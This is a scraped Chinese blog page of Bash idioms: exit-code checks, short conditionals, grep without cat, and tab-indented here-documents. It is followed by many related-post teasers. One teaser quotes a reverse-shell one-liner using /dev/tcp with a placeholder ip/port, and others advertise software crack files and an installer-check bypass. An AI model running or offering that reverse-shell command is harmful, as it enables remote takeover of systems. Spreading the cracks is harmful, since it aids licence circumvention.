Bash小技巧(惯用法)-1

Bash小技巧(惯用法)

退出码判断(命令执行成功与否的判断)

在Bash脚本中,我们经常要先执行某个命令行,然后判断它是否执行成功,这时我们要对它的退出码进行判断。罗嗦一些的写法如下:

    if [ $? -eq 0 ]  
    then  
       echo "Success"  
    fi  
 

简洁的写法如下:

    [ $? -eq 0 ] && echo "Success"  

 

条件判断的简单写法

又如,判断是否有某个目录,如果没有就终止脚本执行,罗嗦一些的写法如下:

if [ ! -d "$DIR" ]; then
    exit 1
fi
 

简洁的写法如下:

[ -d "$DIR" ] || exit 1

 

查找字符串

好多人习惯上这样写:

cat /etc/passwd | grep root

其实下面的写法更好,不需要执行cat命令、不需要管道线:

grep root /etc/passwd

 

here document的写法

一般人都这样写:

if true; then
    cat >some.txt <<EOF
123
345
567
789
EOF
fi
 

这样写,最后那个EOF就要顶格写,破坏了程序应有的缩进格式,最好如下写法:

if true; then
	cat >some.txt <<-EOF
		123
		345
		567
		789
	EOF
fi
 

注意EOF前面的减号,数据前面都用制表符,不能用空格。

 

 

 

 

 

bash shell中readarray和mapfile的用法 readarray和mapfile是在Bash shell里把输入内容读取到数组的便捷命令,借助不同的选项,你可以灵活控制读取的行数、起始索引、是否去掉换行符等。readarray和mapfile是Bash中用于将输入内容读取到数组中的命令,以下是一些具体的使用场景及示例。 阅读详情

相关推荐

Fortran环境配置:VS2022+Intel oneAPI安装全流程指南

Fortran环境配置:VS2022+Intel oneAPI安装全流程指南

shuyisuisuinian的博客 2万+

十个有用的Linux bash shell小技巧

如果你曾经在Linux shell命令行提示符下输入过命令,你可能已经使用了bash。毕竟,它是多数现代的GNU/Linux版本的缺省命令行shell。bash shell是进入Linux操作系统的首个界面。它接受,解释并执行你的命令,并且向你提供shell脚本和自动任务执行的编译模块。 bash包含了一些功能强大的工具和方便之处。如果你是经常要用到命令行的用户,这些可以减少你相当多的输入。

蓝色月光 406

Leaflet 加载天地图完整配置指南:从插件修改到无限缩放(附源码)

本文详细介绍了Leaflet与天地图深度集成的完整配置指南,包括插件修改、无限缩放实现及源码示例。通过解析天地图服务的WMTS协议、双投影支持和密钥机制,帮助开发者突破缩放级别限制,优化地图应用性能,适用于Web地图开发和高精度GIS系统。

weixin_27180827的博客 440

bash的常用小技巧

以下为本人工作常用的一些bash指令总结,希望能够有帮助,直接ctrl+F关键词查询需要的指令,不定时更新~~ 1. 循环读取文本中内容: while read p;do echo "ha ---$p" done<text 2. 指定后缀的文件名写入文本 ls -R /mnt/data2/*.jpg > file.txt //绝对路劲 ls -R *.jpg...

qq_25992377的博客 560

用友u8服务器优化,用友U8erp软件运行的性能优化方案图文教程

今天一定要给大家分享一下用友U8erp软件运行的性能优化方案图文教程,以下方案来自用友软件官方维护工程师反馈在在处理客户问题的时候,有一类问题较为挠头,就是诸如用友U8服务器效率低下的问题。比如用友U8运行慢,卡住等,我们暂先不提用友U8软件代码、脚本层面本身的性能提升问题,我们只是基于现有用友U8软件版本,在客户现有环境下排查用友U8软件运行的性能瓶颈,并采取一定的技术手段进行性能调校。本文将推...

weixin_39882870的博客 5306

上海市大数据中心笔试模拟试卷

为帮助考生熟悉上海市大数据中心笔试的题型、考点及答题逻辑,以下整理了一份的模拟试卷,涵盖大数据专业知识、行政职业能力测试(行测)、公共基础知识(含上海本地政策)三大核心模块,并附详细答案解析。

一叶之秋的博客 1815

bash 小技巧汇总

1. 按时间先后,列出最后的十个目录 ls /mnt/daily/Concord/main -sort -t | awk /_[0-9]+-[0-9]/'{print $NF}' | tail -10 /mnt/daily/LotusLive目录内容如下: SC10.0_Docs :dir SC10.0_DocsProxy...

weixin_34365635的博客 161

使用LSTM进行多任务学习:共享模型预测多个目标

多任务学习是一种机器学习方法,旨在通过同时学习多个相关任务来提高模型的学习效率和泛化能力。MTL的核心思想是共享模型的参数,从而在不同任务之间捕捉到共享的特征。长短期记忆网络(LSTM)是循环神经网络(RNN)的一种改进版本,专门用于解决传统RNN在处理长序列时出现的梯度消失和梯度爆炸问题。LSTM通过引入多个门控机制(输入门、遗忘门和输出门)来控制信息的流动。本文详细探讨了如何使用LSTM进行多任务学习。我们介绍了多任务学习的理论基础、LSTM的特点,以及如何构建和训练一个多任务LSTM模型。

斌擎科技 1152

bash 小技巧

CTRL-R (reverse find),按下之后敲几个字母就能在最近打过的命令里搜索。

Leave Me Alone 629

SeaTunnel 实战:Apache SeaTunnel Web 安装与部署

复制引擎服务中配置文件到 Web 配置目录下面。就是上述 application.yml 文件中配置的端口号。默认是从 mvvm 下载,可能下载速度很慢,我这边安装了 Maven 并且配置了阿里云仓库,因此将脚本中的。如果环境变量有冲突需要改下环境变量的名字以及 init_sql.sh 中的环境变量的名字,可以加上前缀。初始化数据库有两种方式,一是使用官方提供的初始化脚本,二是直接运行初始化 SQL。初始化数据库的脚本,使用之前需要修改。

SmartSi 3908

基于深度学习的水果新鲜程度检测系统(UI界面 + YOLOv8/v7/v6/v5代码 + 训练数据集)

本文详细介绍了如何使用YOLO系列模型(YOLOv5、YOLOv6、YOLOv7、YOLOv8)构建水果新鲜度检测系统。通过数据集准备、模型训练、推理过程以及UI界面的实现,我们能够构建一个实时检测水果新鲜度的系统。通过本博客,您可以全面了解如何应用深度学习技术解决实际问题,尤其是在智能监控和食品质量检测领域。

YOLO 815

linux bash技巧_您每天可以使用的6种bash技巧

linux bash技巧Nothing defeats your Linux street cred faster than using a GUI to do basic tasks. Everyone knows the command line can be super productive for many tasks, but if you know a few simple trick...

weixin_26705651的博客 435

IgH EtherCAT 从入门到精通:第 30 章 实战:高可用 EtherCAT 系统设计

摘要:构建高可用EtherCAT系统的关键技术 本章详细介绍了工业级EtherCAT系统的高可用性设计方法,主要包括: 冗余链路架构:采用双网卡环形拓扑设计,主备网卡同时工作,通过IgH Master的冗余配置实现线缆故障自动切换。 状态监控机制:提供专用API实时监控主备链路状态,包括从站响应数、链路状态和冗余激活标志,形成完整的故障判断矩阵。 自动恢复功能:系统内置FSM架构支持热插拔自动检测和重配置,从站断线/重连时可自动完成状态恢复,同时允许应用层实施安全措施。 这些技术共同构成了生产环境下Ethe

从事嵌入式linux android驱动开发,拥有全栈能力 242

Linux Bash Shell入门教程

BASH 的基本语法最简单的例子 —— Hello World!关于输入、输出和错误输出BASH 中对变量的规定(与 C 语言的异同)BASH 中的基本流程控制语法函数的使用2.1     最简单的例子 —— Hello World!几...

我的博客 1万+

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

ROS系统下WHEELTEC N100惯导模块初使用记录

本文ROS系统位于树莓派(系统为Ubuntu16),上位机为虚拟机(系统为Ubuntu18)。再打开一个终端,键入代码:roslaunch fdilink_ahrs tf.launch(这里需要先重新定义源:source devel/setup.bash,再执行代码)将惯导模块接入Ubuntu系统后打开终端,输入ls -l /dev/tty*指令查看串口号,此时会发现无法分辨那个串口对应着惯导模块。注意:打开新的终端需要重新定义源,即再次执行:source devel/setup.bash。

m0_74142169的博客 3445

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

bash中变量的高级用法

提示用户输入一个正整数num,然后计算1+2+3+…+num的值,必须对num是否为正整数做出判断,不符合应当允许用户继续输入。num >0 是否成立,如果成立即为正整数。主要用来进行整数运算,包括加减乘除,引用变量前面可以加。输入num1=5.6,num2=3,输出 1.8666。去判断是否能执行成功。执行成功说明为整数,再判断。bc是bash内建的运算器,支持浮点数运算。内建变量scale可以设置,默认为0。都是可以的,对于数值比较,推荐使用。两者是等价的,但推荐初学者使用。declare命令参数表。

qq_20877327的博客 1055

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

bash常见用法速览

bash中常用系统变量: KaTeX parse error: Expected 'EOF', got '#' at position 6: USER #̲当前用户名 uname -r …(uname -m) #当前机器架构x86_64 $HOME #当前用户home路径 set命令用法: http://www.ruanyifeng.com/blog/2017/11/bash-set.html read函数:当运行到该句时,会等待终端输入,然后读取终端输入内容。 变量的使用 如果要引用一个变量,可以在变量名

zhanghm1995的博客 3640

Bash 中 nohup 与 & 的区别及用法解析

在Bash中,nohup和都可以用来在后台运行命令,但它们的作用和用途各有不同。以下将详细介绍它们的特点、区别及适用场景。是Bash的一个特殊符号,用于将命令放到后台执行。它的主要功能是让命令在后台运行,不会阻塞当前终端。

vortex5的博客 1796

bash的常见用法

Shell俗称壳(用来区别于核),是指“提供使用者使用界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。由于早年的Unix年代,发展者众,所以由于shell依据发展者的不同就有许多的版本,例如常听到的Bourne  SHell(sh)、在Sun    里头默认的 C  SHell、    商业上常用的K   SHel...

LZH_12345的博客 2116

bash下变量PS1的完整理解

本文并不会讲解如何设置PS1以获得你喜欢的提示符;本文会围绕PS1这个变量,就其涉及到的一些概念展开讨论

whowin 2801

全宇宙最全的bash 脚本常见用法总结!

shopt -s extdebug f()(printf '%s\n' "${BASH_ARGV[@]}"); f "$@" shopt -u extdebug } 用法示例: $ reverse_array 1 2 3 4 5 5 4 3 2 1 $ arr=(red blue green) $ reverse_array "${a...

weixin_30877181的博客 815

linux 命令 尖括号_Bash 中尖括号的更多用法

在这篇文章,我们继续来深入探讨尖括号的更多其它用法。在上一篇文章当中,我们介绍了尖括号(<>)以及它们的一些用法。在这篇文章,我们继续来深入探讨尖括号的更多其它用法。通过使用 <,可以实现“欺骗”的效果,让其它命令认为某个命令的输出是一个文件。例如,在进行备份文件的时候不确定备份是否完整,就需要去确认某个目录是否已经包含从原目录中复制过去的所有文件。你可以试一下这样操作:diff...

weixin_26766559的博客 692

nc反弹bash中 &>、0>&1是什么意思

本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1若观点有误,欢迎指出!目标讨论命令:bash -i >& /dev/tcp/ip/port 0>&1。

smile_3779的博客 1240

Bash脚本用法总结

Bash 脚本有两个部分:bash和script。Bash 是一个 Unix shell,由 GNU 项目开发。脚本只是一组在文件中编写并使用 bash 执行的命令。Bash 不是市场上唯一的 shell,但它是最受欢迎的 shell。

QQVQQ的博客 2148

bash中${}的用法

在bash中${}用于设置变量默认值和字符串取值切片以及变量的间接引用,详细用法如下图,在Centos6下字符串取子${STR:POSITON:LENGTH},LENGTH为负数会报错。 1、${VAR},取出变量VAR值 [root@localhost~]#a=hjks [root@localhost~]#echo${a} hjks 2、${VAR:-DEFAULT},VAR没有定义或者为空则输出$DEFAULT的值(VAR不变) [root@localhost~...

Yonx 3141

ROS开发之如何使用WHEELTEC N100惯导模块?

之前采用的惯导模块为ICM20948 IMU模块(模块精度0.06°/s,即216'/s),这款IMU用于某个需要一直旋转Z轴的实验,匀速旋转IMU,对姿态数据采集1min,经实验,模型在Z轴旋转时,也即平面旋转过程,Z轴旋转数据相邻两帧变化最大达到5.5°,误差非常大,导致实验一直出现问题。现换高精度惯导模块WHEELTEC N100,以下说明WHEELTEC N100惯导模块在ROS环境下如何使用。

【cacrle】的博客 4468
上一篇: 写一个Bash脚本来计算母亲节和父亲节的日期(推荐)
下一篇: MySQL导出指定表中的数据
codingstandards
博客等级 码龄16年 12粉丝 3原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值